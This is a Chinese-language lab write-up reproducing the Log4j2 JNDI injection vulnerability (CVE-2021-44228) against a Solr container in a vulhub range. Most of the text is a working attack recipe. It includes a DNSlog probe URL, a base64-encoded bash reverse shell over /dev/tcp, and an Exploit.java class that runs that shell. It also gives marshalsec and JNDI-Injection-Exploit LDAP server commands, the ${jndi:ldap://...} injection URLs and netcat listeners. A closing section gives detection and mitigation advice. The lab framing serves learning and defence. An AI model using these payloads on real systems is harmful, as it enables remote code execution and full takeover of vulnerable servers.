環境準備:
和我上一篇fastjson1.2.24漏洞復現是一樣的環境,方法也差別不大
宣告:遵紀守法,僅作學習記錄用處,部分描述文字源於網路,若侵權聯絡刪除
老演員:
centos8:192.168.59.135 vulhub靶場
win10:192.168.59.130 攻擊機
log4j2:
log4j2是apache旗下的一個java應用的開源紀錄檔庫,Java的紀錄檔記錄工具。
log4j2是在log4j框架的基礎上進行了改進,引入了豐富的特性,可控制紀錄檔資訊輸送的目的地為控制檯、檔案、GUI元件等,應用於業務系統開發、記錄程式輸入輸出紀錄檔資訊
JNDI:(取自網路,若侵權聯絡刪)
JNDI全稱 Java Naming and Directory Interface。JNDI是Java平臺的一個標準擴充套件,提供了一組介面、類和關於名稱空間的概念。如同其它很多Java技術一樣,JDNI是provider-based的技術,暴露了一個API和一個服務供應介面(SPI)。這意味著任何基於名字的技術都能通過JNDI而提供服務,只要JNDI支援這項技術。JNDI目前所支援的技術包括LDAP、CORBA Common Object Service(COS)名字服務、RMI、NDS、DNS、Windows登入檔等等。很多J2EE技術,包括EJB都依靠JNDI來組織和定位實體。
JDNI通過繫結的概念將物件和名稱聯絡起來。在一個檔案系統中,檔名被繫結給檔案。在DNS中,一個IP地址繫結一個URL。在目錄服務中,一個物件名被繫結給一個物件實體。
JNDI中的一組繫結作為上下文來參照。每個上下文暴露的一組操作是一致的。例如,每個上下文提供了一個查詢操作,返回指定名字的相應物件。每個上下文都提供了繫結和撤除繫結名字到某個物件的操作。JNDI使用通用的方式來暴露名稱空間,即使用分層上下文以及使用相同命名語法的子上下文。
還是講講原理吧:
Log4j2是預設支援解析ldap/rmi協定的,列印的紀錄檔中包括ldap/rmi協定都行,通過名稱從ldap伺服器端獲取對應的Class檔案,使用ClassLoader在本地載入Ldap伺服器端返回Class類。
這就為攻擊者提供了攻擊途徑:攻擊者可傳入一個包含惡意內容的檔案:一個惡意的Class檔案,包含ldap協定內容(例如:惡意內容${jndi:ldap://localhost:9999/Exploit}惡意內容)。該內容傳遞到後端被log4j2列印出來,就會觸發惡意的程式碼、命令的載入執行,從而達到攻擊的目的。
cve編號:CVE-2021-44228
log4j2框架下的lookup查詢服務提供了{}欄位解析功能,傳進去的值會被直接解析。例如${java:version}會被替換為對應的java版本。這樣如果不對lookup的出棧進行限制,就有可能讓查詢指向任何可能:惡意程式碼,載入服務,無限可能。
攻擊者可利用這一點進行JNDI注入,使得受害者請求遠端服務來連結本地物件,在lookup的{}裡面構造payload,呼叫JNDI服務(LDAP)向攻擊者提前部署好的惡意站點獲取惡意的.class物件,造成了遠端程式碼執行---可反彈shell到指定伺服器
開幹吧!!!
開啟靶場
cd vulhub/log4j/2CVE-2021-44228
docker-compose up -d //開啟靶場
docker-compose ps //檢視靶場埠
開放的埠:8983
測試有無注入點:
藉助網路工具:http://dnslog.cn/
注入點:/solr/admin/cores?有個引數可傳
Get SubDomin:獲取子域名
egcn05.dnslog //我的子域名
存取:
http://靶機IP:靶機開放埠/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.子域名}
看dnslog.cn,有返回Java版本,可注入(較慢,可重新整理或等待)
將下面這個程式碼進行base64編碼:(去網上搜尋,有很多都可以進行base64編碼的網站)IP替換為靶機IP地址
bash -i >& /dev/tcp/192.168.59.135/7777 0>&1
編碼後:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC83Nzc3IDA+JjEK}|{base64,-d}|{bash,-i}
老規矩,在Java資料夾裡寫一個Exploit.java,寫入下面的程式碼:
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC83Nzc3IDA+JjEK}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac Exploit.java //編譯
生成Exploit.class檔案
直接在這個Java資料夾開啟http服務:
python -m http.server 4444
然後存取:192.168.59.130:4444
可以看到那個編譯好的class檔案
然後又到了熟悉的操作!!!
進入marshalsec目錄
cmd
mvn clean package -DskipTests //執行
有藍色success
生成一個target資料夾
cd target
接下來開啟ldap偵聽
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.59.130:4444/#Exploit" 1389
nc(nmap)開啟監聽:
nc -lvvp 7777 //linux
ncat.exe -lvvp 7777 //win10 要進入包含ncat.exe的資料夾下,然後調出cmd
開始注入!!!!!
http://靶機IP:8983/solr/admin/cores?action=${jndi:ldap://攻擊機IP:1389/Exploit}
http://192.168.59.135:8983/solr/admin/cores?action=${jndi:ldap://192.168.59.130:1389/Exploit}
看效果:(前面的404是因為我win10殺了那個class檔案,我去重新編譯一次就可以存取到了)
重頭戲來了:
拿下!!!!!
看到這裡,有人想說,你自己點進去的吧?真不是。
關閉靶場!!
docker-compose down
下載jndi-injection-exploit工具
https://gitcode.net/mirrors/sayers522/jndi-injection-exploit
下載完我解壓在E槽,切換到jndi-injection-exploit資料夾,cmd出來
mvn clean package -DskipTests //等待環境success
cd target //先備用,後面要用
需要對下面的程式碼進行base64編碼
bash -i >& /dev/tcp/192.168.59.130/8888 0>&1
base64編碼:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
使用:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "上面的base64" -A "攻擊機IP地址"
實際:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.59.130"
cd target //備用的,這裡用
在target的目錄直接放進上面的程式碼,開始偵聽
然後進入ncat的目錄,cmd,偵聽8888埠
ncat.exe lvvp 8888
接下來到payload:事實上還有其他payload,可自行baidu學習
瀏覽器直接存取
http://靶機:8983/solr/admin/cores?action=${jndi:ldap://攻擊機:1389/Exploit}
http://192.168.59.135:8983/solr/admin/cores?action=${jndi:ldap://192.168.59.130:1389/Exploit}
結果:
JNDI注入顯示結果:
成功反彈shell!拿下!!!!
好了,結束!!!!!!!
log4j2是2021年底爆出的非常嚴重的漏洞,可謂是風靡一時,「血洗網際網路」,也是安全公司面試的常見題目
如何排查是否受到了攻擊?
檢查紀錄檔中是否存在"jndi:ldap://"、"jndi:rmi//"等字元來發現可能的攻擊行為,前面復現的過程在payload的構造中都出現了這樣的字串,這是攻擊的典型標誌。
如何對log4j2的攻擊進行防禦?
設定log4j2.formatMsgNoLookups=True。相當於直接禁止lookup查詢出棧,也就不可能請求到存取到遠端的惡意站點。
對包含有"jndi:ldap://"、"jndi:rmi//"這樣字串的請求進行攔截,即攔截JNDI語句來防止JNDI注入。
對系統進行合理設定,禁止不必要的業務存取外網,設定網路防火牆,禁止系統主動外連網路等等
升級 Log4j2 至 log4j-2.16.0-rc1 版本官網地址:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.16.0-rc1
新增 jvm 啟動引數-Dlog4j2.formatMsgNoLookups=true;
在應用 classpath 下新增 log4j2.component.properties 組態檔,檔案內容為log4j2.formatMsgNoLookups=true;
設定系統環境變數FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設定為true;
建議使用 11.0.1、8u191、7u201、6u211 及以上的高版本 JDK。
注:未經同意請勿轉載,僅作學習使用。以上有描述不正確之處,望大家能不吝指出,共同學習共同進步。謝謝